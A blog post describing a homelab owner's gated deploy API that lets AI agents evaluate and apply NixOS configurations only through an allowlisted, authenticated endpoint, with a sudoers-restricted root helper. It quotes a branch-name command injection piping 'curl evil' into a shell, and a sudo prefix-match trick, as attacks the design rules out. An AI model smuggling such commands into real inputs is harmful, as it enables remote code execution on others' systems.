My homelab runs on NixOS, and I keep its configuration in a flake on my own Forgejo instance.

My development agents run on a dedicated VPS, they have several tools to test the Nix code that is used to configure my homelab server before they deploy it, command line tools to build and evaluate the syntax, packages and more. To prevent a lot of mistakes I also made an MCP server available that makes Nix packages, options, examples, documentation and more available to the agents.

The agents could build new features and upload the code to my Forgejo instance for review and deployment.

For a long time the rule in that repository's AGENTS.md was simple and absolute:

AI commits, human deploys. The AI never runs nixos-rebuild switch on a host, it cannot even ssh to the homelab host. Push the code to Forgejo; the human activates on the homelab server.

That rule existed for a good reason. There are private files, PII data, and also deploy secrets and API keys that I don't want in the context window of an AI.

But the rule had a cost. Every change I made to the server was a change I had to make by hand, often rebuilding multiple times. Deploy or service logs had to be copied manually, watching a 3 minute build. The agent could write the change and push it; it could not finish the job.

So I built the missing piece: a gated deploy API. It is a small service that lives on the homelab server, exposes an HTTP endpoint over my tailnet, and does exactly one thing: run pre-approved commands and NixOS actions. Allowing the agent to push the code to Forgejo, and then use the authenticated API to check the build, and if correct apply it. If the build fails it will receive the error message.

A few words on the vocabulary

If some of the terms below are new to you, these are the short versions:

Term What it means
Nix a package manager and build system - it builds software from a declarative description, so the same input always gives the same output
NixOS a Linux distribution built on Nix, where the whole system is described in one config file
flake a folder of Nix files describing a whole system or project, with its inputs pinned to exact versions
nixpkgs the enormous collection of packages NixOS is built from
module the unit of configuration in NixOS - it declares options, and you set them
store path the immutable path in /nix/store where a built result lands
systemd the service manager that runs the processes on the server
MCP Model Context Protocol - a standard way for an AI agent to call tools that live outside the model
Tailnet a private network between your own machines, reachable as if they were local

The shape of it

Architecture of the gated-deploy API: on the agent machine, the AI agent, the read-only NixOS MCP lookup and the gated-deploy client; on the homelab server, the API service, the Nix-generated allowlist, the root helper and the transient systemd unit that runs nixos-rebuild

There are three moving pieces, and they are deliberately not merged.

The deploy surface is the API service. It runs on the homelab server, listens on a loopback port that is published to the tailnet by Tailscale Serve, and it is the only thing that can cause a rebuild. It cannot look anything up.

The allowlist is a file generated by Nix at build time. It is the policy: the exact set of commands that may run, and on which host. The service reads it; the root helper reads it; the agent cannot.

The Flake.nix is a way to deploy the app that is Nix native. It allows me to load the app, and configure the allowlist. My nix configuration can pull the flake code and deploy the app.

The allowlist is Nix, not a config file

In the server's configuration it looks like this:

services.gatedDeploy = {
  enable = true;

  gitUrl = "https://forgejo.example.net/homelab/nixos-systems-configuration.git";

  allowedCommands.homelab-server.check = {
    argv = [
      "${pkgs.coreutils}/bin/env"
      "PATH=${pkgs.coreutils}/bin:${pkgs.git}/bin:${pkgs.nix}/bin:/run/current-system/sw/bin"
      "${pkgs.nix}/bin/nix"
      "eval" "--impure" "--no-write-lock-file"
      ".#nixosConfigurations.homelab-server.config.system.build.toplevel.drvPath"
    ];
  };

  allowedCommands.homelab-server.switch = {
    argv = [
      "${pkgs.coreutils}/bin/env"
      "PATH=${pkgs.coreutils}/bin:${pkgs.git}/bin:${pkgs.nix}/bin:${pkgs.systemd}/bin:${pkgs.sudo}/bin:${pkgs.nixos-rebuild}/bin:/run/current-system/sw/bin"
      "${pkgs.nixos-rebuild}/bin/nixos-rebuild"
      "switch" "--flake" ".#homelab-server" "--impure" "--no-write-lock-file"
    ];
    timeoutSeconds = 7200;
  };
};

Three things follow from writing it this way.

There is no shell anywhere. The service hands an argv straight to execve. There is no string to interpolate a branch name into, so the classic "the branch name was main; curl evil | sh" attack does not exist as a category. A branch name is data, not syntax.

The set of things the agent can do is visible in a git diff. Adding a capability is a change to a Nix file, reviewed like any other change to the server's configuration. The gate is not a runtime permission dialog that someone can click past; it is code.

The paths are pinned by the flake. ${pkgs.nix}/bin/nix is a store path, not a name resolved through a mutable PATH. Combined with the explicit PATH in the argv, that is what makes the job reproducible - and, as I found the hard way, necessary: the job runs in a systemd unit, not in a shell, so it inherits systemd's default PATH, and nixos-rebuild calls test, rm and systemd-run by name. Without a PATH of its own, a rebuild completes successfully and then dies at the activation step with No such file or directory: 'test'. Your own shell hides this, because test is a shell builtin.

What the request actually contains

The API takes a host, an action and a branch. That is the entire request body:

{ "host": "homelab-server", "action": "switch", "branch": "feature/new-proxy" }

The agent picks the branch - it just pushed it, after all. It picks the action from the list the server publishes, and it cannot pick anything else. If it asks for an action that is not in the allowlist, the server answers 404 and nothing happens. There is no default action and no fallthrough.

The branch name is validated twice: once with git's own check-ref-format, and once against a stricter allowlist of characters that cannot mean anything to a shell. That second layer is not paranoia about a shell I do not use - it is about not having to reason about the difference between "we validated it" and "we validated it and it happens to be harmless".

The privilege model: one helper, one sudoers line

The service runs as an unprivileged dedicated user. It is reachable over the network, so it must not be root, but nixos-rebuild switch refuses to run as anything else. Something has to bridge that gap, and the bridging is where all the risk lives.

There is exactly one privileged program on the server: a root-owned helper at /usr/local/libexec/gated-deploy-job. The service may run it, through a single sudoers rule:

gated-deploy ALL=(root) NOPASSWD: \
  /usr/local/libexec/gated-deploy-job ^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$

The path is literal and the argument is a regular expression, which is not a detail: sudo matches the path and the arguments separately, and without the trailing $ a path rule matches by prefix - so a rule for gated-deploy-job would also match gated-deploy-job-evil, and sudo would then run the path the caller typed.

The helper takes one argument: a job id. Everything else it works out for itself.

  1. It reads the request from a spool file the service wrote - and rejects that file if it contains anything other than host, action and branch.
  2. It looks (host, action) up in the root-owned allowlist and builds the argv. The service never can; the service only picks the key.
  3. It validates the branch, fetches it from the pinned remote, and checks out refs/remotes/<remote>/<branch>.
  4. It starts a transient systemd unit with that fixed argv.

So the service can choose which approved action runs and which branch it runs against, and nothing else. Its entire reach is a Nix diff.

One detail I like: the Forgejo token the helper uses to fetch the branch is passed to git through the environment, not the command line:

GIT_CONFIG_COUNT=2
GIT_CONFIG_KEY_0=http.extraHeader
GIT_CONFIG_VALUE_0=Authorization: Basic <base64>
GIT_CONFIG_KEY_1=credential.helper
GIT_CONFIG_VALUE_1=
GIT_TERMINAL_PROMPT=0

/proc/<pid>/cmdline is world-readable on Linux; /proc/<pid>/environ is readable only by the process's own user - and the helper runs as root. So the token stays out of reach of every unprivileged user on the box.

The agent never touches the server's files

This is the part I care about most, and it is worth being precise about, because "the AI does not have access to the server" is easy to say and easy to get wrong.

The agent has no SSH access to the homelab server. It cannot read a file on it, not even a log it is allowed to see. Its entire interaction is:

  • push a branch to Forgejo, with its own scoped token;
  • make HTTP requests to the API, with a bearer token.

The server fetches the branch itself, with its own read-only token, into its own checkout directory. The working tree is root-owned, so the unprivileged service user cannot read it either - and does not need to. The agent's write access to the server's filesystem is exactly zero, and its ability to choose what runs on the server is exactly the set of allowlisted actions.

The API service compares the bearer token in constant time and answers 401 without saying why. The token reaches the service through systemd's LoadCredential=, so the file on disk stays root-owned and mode 0600, and it never appears in a URL, a request body, a log line or an error message.

The other half: NixOS MCP looking things up before writing them

The server is utensils/mcp-nixos, wired into the agents as a local stdio subprocess.

A large part of what makes an agent usable on a NixOS box is not the deploying. It is not writing services.foo.bar = true when the option is actually services.foo.baz, or inventing a package attribute that has not existed for two years.

That is what the MCP lookup surface is for. It exposes two tools: one that searches NixOS, Home Manager, nix-darwin, flakes, FlakeHub and the NixOS wiki for options and packages, and one that answers version-history questions from NixHub - "which nixpkgs commit shipped this version, and under which attribute path".

nix    {"action": "search", "query": "gated deploy", "type": "options"}
nix    {"action": "info", "query": "nixos-rebuild", "channel": "unstable"}
nix_versions {"package": "nix", "version": "2.24.11"}

Testing the change before it ever reaches the server

The gate would be pointless if the first test of a change happened on the live machine. The workflow is a ladder, and each rung is cheaper than the one below it.

Locally, in the config repository: nix flake check builds the flake, which builds the package, which runs the whole test suite - a hundred and eleven tests across the shared schemas, the root helper's flow with every external command stubbed, the HTTP surface end to end, and the client's configuration and job ledger.

The end-to-end smoke test: a script that runs the real chain - client, HTTP, service, sudo, root helper, git, a real transient systemd unit - against a local git remote. It needs root because it installs a helper, a sudoers rule and a system user, and it removes everything it created on the way out, including on failure. When it fails, it tells you which link in the chain broke.

Through the API, on the server, without touching the running system: the check action evaluates the configuration and does not activate it:

nix eval --impure .#nixosConfigurations.homelab-server.config.system.build.toplevel.drvPath

That is a minute, instead of half an hour, and a mistake in the file cannot change the running server.

And only then, switch, which is the action that rebuilds and activates the host. That is the one that makes the API worth having.

The workflow, end to end

From the agent's point of view a deploy is four steps:

# 1. what does the host actually permit?
gated-deploy allowed

# 2. evaluate the branch without activating it
gated-deploy deploy --host homelab-server --action check --branch feature/new-proxy

# 3. rebuild and activate
gated-deploy deploy --host homelab-server --action switch --branch feature/new-proxy --watch

# 4. what happened?
gated-deploy jobs

--watch polls every three seconds and prints the log as it arrives, with the state whenever it changes - so a rebuild is something you watch rather than something you wait out in the dark. The client prints the job id, which is the only handle a later session needs; the three harnesses I use share one job ledger, so a job started by one can be picked up by another.

The exit codes are worth knowing, because they tell the agent what to do next:

Code Meaning
0 the job succeeded
1 the client could not do its job - the service is unreachable, or the token is wrong
2 the command line was wrong, or the service refused the request
3 the job ran and failed - read the log
4 the job is still running; the budget ran out. The job id is the handle. Ask again later.

A full rebuild of my server takes twenty minutes or more, so the budget is not a target. When it runs out, the right move is to report the job id and stop, not to loop.

The honest caveats

A few things I want to be straight about.

Deploying a branch is remote code execution, by design. The allowlist limits which command runs, not what that command builds. The branch's Nix expressions are evaluated and built as root on the server. The owner of this setup - me - has accepted that. If you want a different trade-off, this is the line to argue about.

There is no rollback action. No --rollback, no force-reboot equivalent in the allowlist. Recovery is booting the previous systemd-boot generation on the console, which is a human operation. A switch that exits 0 but leaves the host in a bad state cannot be undone from the agent side, and inventing one is out of scope.

Any branch is deployable. There is no per-deploy human approval step. Authentication answers "is this the client?"; the allowlist answers "is this command allowed?"; the decision that no human sits between them is a third, separate choice, and it is mine to make. It is a real risk, and it is the reason I would not deploy this design to a server whose failure I care about more than my homelab's.

What I would keep

The thing I did not expect to enjoy most is how unremarkable the security model became once the allowlist was data instead of behaviour. There is no shell to reason about, no permission dialog, no prompt injection into a command template. The service has a very small job, the helper has a very small job, and the whole thing is auditable by reading a diff of the server's Nix configuration.

The other thing I did not expect: the MCP lookup surface matters as much as the deploy surface. An agent that writes correct Nix the first time needs far less supervision than an agent that guesses at option names and needs someone to catch it. The gate is what makes the deploy safe. The lookup is what makes the code good.

Both are read from the same place - the real NixOS documentation and the real channel - instead of from the model's memory. That is the part I would not give up.